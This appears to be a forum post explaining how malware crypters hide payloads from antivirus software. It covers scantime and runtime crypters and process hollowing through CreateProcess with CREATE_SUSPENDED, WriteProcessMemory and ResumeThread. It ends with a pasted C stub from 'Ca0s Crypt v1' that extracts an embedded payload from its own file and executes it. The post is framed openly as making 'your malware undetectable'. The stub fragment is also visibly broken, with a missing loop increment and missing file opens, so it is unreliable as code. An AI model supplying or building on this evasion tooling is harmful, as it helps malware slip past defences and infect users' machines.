First of all you have to distinguish between "scantime" and "runtime" crypters
- Scantime: those type of crypters make your malware undetectable from antivirus software while your malware is not executed. It makes static analysis of your binary difficult because the malicious part of your malwares binary is encrypted. When the malware is executed the Stub decrypts the malicious part of the binary and it is loaded to memory. When it is in the memory in a decrypted form it is detectable by antivirus software.
- Runtime: Scantime + only parts that are needed to execute a specific task are decrypted during runtime. After they finish their task the Stub encrypts them again.
Basically a crypter is going to take the contents of an infected file, encrypt them (to bypass signature detection), and place it at the bottom of a seemingly virus-free file called your “stub”.
Your stub file will then extract the encrypted data from itself, decrypt it, then extract and run it in memory (to bypass heuristic detection).[crypters.net]
This is possible because under Windows, a process can be created in suspend mode using the CreateProcess API with the CREATE_SUSPENDED parameter. The EXE image will be loaded into memory by Windows but execution will not begin until the ResumeThread API is used. Before calling ResumeThread, it is possible to read and write this process's memory space using APIs like ReadProcessMemory and WriteProcessMemory. This makes it possible to overwrite the image of the original EXE with the image of another EXE, thus enabling the execution of the second EXE within the memory space of the first EXE.[security.org.sg]
and here some stub code that i found online:
Stub para Ca0s Crypt v1
If you modify source source, change MySize to new size in bytes
#define MySize 19856
FILE *mySelf, *tmpFile;
struct stat myStat;
char myName[MAX_PATH], tmpName[MAX_PATH];
int embedSize, x;
char *myByte, *modeByte, *cByte;
GetModuleFileName(NULL, myName, sizeof(myName));
lseek(fileno(mySelf), MySize, SEEK_SET);
fread(modeByte, 1, 1, mySelf); /// Crypt mode
fread(cByte, 1, 1, mySelf); // Crypt byte
for(x=0; x<embedSize; x )
fread(myByte, 1, 1, mySelf);
fwrite(myByte, 1, 1, tmpFile);
execve(execPath, execPath, NULL);